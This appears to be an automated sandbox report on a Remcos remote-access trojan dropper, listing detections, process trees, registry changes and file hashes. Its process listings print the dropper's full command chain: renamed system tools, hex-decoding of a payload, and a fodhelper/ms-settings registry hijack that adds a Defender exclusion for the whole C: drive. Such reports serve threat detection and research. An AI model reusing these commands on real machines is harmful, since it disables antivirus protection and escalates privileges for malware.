Malware Analysis Report

2024-12-07 22:46

Sample ID 240514-sjpensca5z
Target 14052024_1509_14052024_GIAC-23-04-2024 904439.Tar
SHA256 a99ef34bd2443b7f6e3609d39a411659fe9f5b20fbedeb282f27cc72dfbe0c04
Tags
remcos remotehostt rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

a99ef34bd2443b7f6e3609d39a411659fe9f5b20fbedeb282f27cc72dfbe0c04

Threat Level: Known bad

The file 14052024_1509_14052024_GIAC-23-04-2024 904439.Tar was found to be: Known bad.

Malicious Activity Summary

remcos remotehostt rat

Remcos

Executes dropped EXE

Loads dropped DLL

Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Kills process with taskkill

Script User-Agent

Modifies registry class

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-14 15:09

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-14 15:09

Reported

2024-05-14 15:12

Platform

win7-20240508-en

Max time kernel

142s

Max time network

122s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\GIAC-23-04-2024 904439.cmd"

Signatures

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\ms-settings C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\ms-settings\shell C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\ms-settings\shell\open C:\Users\Public\ger.exe N/A

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\Ping_c.pif N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Public\xkn.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3008 wrote to memory of 2140 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 3008 wrote to memory of 2140 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 3008 wrote to memory of 2140 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 3008 wrote to memory of 2136 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 2136 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 2136 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 3024 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 3024 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 3024 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 2012 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 2012 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 2012 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2012 wrote to memory of 2648 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2012 wrote to memory of 2648 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2012 wrote to memory of 2648 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 3008 wrote to memory of 2716 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 2716 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 2716 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2716 wrote to memory of 2740 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2716 wrote to memory of 2740 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2716 wrote to memory of 2740 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 3008 wrote to memory of 2612 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 2612 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 2612 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2612 wrote to memory of 2636 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2612 wrote to memory of 2636 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2612 wrote to memory of 2636 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 3008 wrote to memory of 2776 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 2776 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 2776 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2776 wrote to memory of 2760 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2776 wrote to memory of 2760 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2776 wrote to memory of 2760 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 3008 wrote to memory of 2696 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 2696 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 2696 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2696 wrote to memory of 2968 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2696 wrote to memory of 2968 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2696 wrote to memory of 2968 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 3008 wrote to memory of 2640 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 2640 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 2640 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2640 wrote to memory of 2616 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2640 wrote to memory of 2616 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2640 wrote to memory of 2616 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2616 wrote to memory of 2624 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2616 wrote to memory of 2624 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2616 wrote to memory of 2624 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2624 wrote to memory of 2976 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2624 wrote to memory of 2976 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2624 wrote to memory of 2976 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 3008 wrote to memory of 2208 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 2208 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 2208 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2208 wrote to memory of 2964 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2208 wrote to memory of 2964 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2208 wrote to memory of 2964 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 3008 wrote to memory of 2316 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 2316 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3008 wrote to memory of 2316 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2316 wrote to memory of 2392 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2316 wrote to memory of 2392 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2316 wrote to memory of 2392 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 3008 wrote to memory of 1928 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Ping_c.pif

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\GIAC-23-04-2024 904439.cmd"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\GIAC-23-04-2024 904439.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\GIAC-23-04-2024 904439.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\Libraries\Ping_c.pif

C:\Users\Public\Libraries\Ping_c.pif

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S

Network

N/A

Files

\Users\Public\alpha.exe

MD5 5746bd7e255dd6a8afa06f7c42c1ba41
SHA1 0f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA256 db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
SHA512 3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

\Users\Public\kn.exe

MD5 ec1fd3050dbc40ec7e87ab99c7ca0b03
SHA1 ae7fdfc29f4ef31e38ebf381e61b503038b5cb35
SHA256 1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3
SHA512 4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

\Users\Public\xkn.exe

MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

memory/2616-43-0x000000001B3D0000-0x000000001B6B2000-memory.dmp

memory/2616-44-0x0000000001D80000-0x0000000001D88000-memory.dmp

\Users\Public\ger.exe

MD5 9d0b3066fe3d1fd345e86bc7bcced9e4
SHA1 e05984a6671fcfecbc465e613d72d42bda35fd90
SHA256 4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e
SHA512 d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119

C:\Users\Public\Ping_c.mp4

MD5 335eb6082639fb0d66f3391a25075155
SHA1 2c52a0e1dbcff4830c95d5736f7544a3bb1bb256
SHA256 f9fb91f9e5ba3630e87ea0b29a2f8649aef14da03d2db345518a322877d6199c
SHA512 7bc6ba46ad8fdf126e1563670654e5a7f75cc1f330a7876d96a3bfa7db1470e37a323e122d84fd6314c9657521980c11d4626808138a9da9ca0d7f41484df97d

C:\Users\Public\Libraries\Ping_c.pif

MD5 45af8d1371e560ecab6bb07bd895dfc8
SHA1 58bce072911299ad6165622b4d458bc5dfb3e5ea
SHA256 53a204b7cf90518c6f747711cf10718f9270bc7ac357df1e8855e1b479de157e
SHA512 5586bdb1c8065b43d2199ad187fc60286d6983a362d0cc54446a33fd205d0b196db992f875da24bc95201ce3d68489df16e1cb7485469993cf3f025abf2d8651

memory/1928-74-0x0000000000400000-0x000000000057D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-14 15:09

Reported

2024-05-14 15:12

Platform

win10v2004-20240426-en

Max time kernel

148s

Max time network

151s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\GIAC-23-04-2024 904439.cmd"

Signatures

Remcos

rat remcos

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation C:\Windows \System32\per.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\ms-settings C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\ms-settings\shell C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\ms-settings\shell\open C:\Users\Public\ger.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Users\Public\xkn.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1392 wrote to memory of 2104 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 1392 wrote to memory of 2104 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 1392 wrote to memory of 4480 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 4480 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 3580 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 3580 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 2304 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 2304 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2304 wrote to memory of 2896 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2304 wrote to memory of 2896 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1392 wrote to memory of 4204 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 4204 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4204 wrote to memory of 1748 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 4204 wrote to memory of 1748 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 1392 wrote to memory of 4572 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 4572 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4572 wrote to memory of 4988 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 4572 wrote to memory of 4988 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1392 wrote to memory of 2936 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 2936 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2936 wrote to memory of 2040 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2936 wrote to memory of 2040 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1392 wrote to memory of 5080 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 5080 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5080 wrote to memory of 636 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 5080 wrote to memory of 636 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1392 wrote to memory of 4716 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 4716 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4716 wrote to memory of 1588 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 4716 wrote to memory of 1588 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 1588 wrote to memory of 3776 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 1588 wrote to memory of 3776 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 3776 wrote to memory of 4460 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 3776 wrote to memory of 4460 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 1392 wrote to memory of 740 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 740 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 740 wrote to memory of 2084 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 740 wrote to memory of 2084 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 1392 wrote to memory of 984 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 1392 wrote to memory of 984 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 1392 wrote to memory of 532 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 532 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 532 wrote to memory of 4176 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 532 wrote to memory of 4176 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 1392 wrote to memory of 2012 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Ping_c.pif
PID 1392 wrote to memory of 2012 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Ping_c.pif
PID 1392 wrote to memory of 2012 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Ping_c.pif
PID 1392 wrote to memory of 5048 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 5048 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 3044 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 3044 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 2464 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 2464 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 5088 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 5088 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 3288 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 3288 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 3520 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 3520 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 4600 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 4600 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 1748 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1392 wrote to memory of 1748 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\GIAC-23-04-2024 904439.cmd"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\GIAC-23-04-2024 904439.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\GIAC-23-04-2024 904439.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12

C:\Users\Public\kn.exe

